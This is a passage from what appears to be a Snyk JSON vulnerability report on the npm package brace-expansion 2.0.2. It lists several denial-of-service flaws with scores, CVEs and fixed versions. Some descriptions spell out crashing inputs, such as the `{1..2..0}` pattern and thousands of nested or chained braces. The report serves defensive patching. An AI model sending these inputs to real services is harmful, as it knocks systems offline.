Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 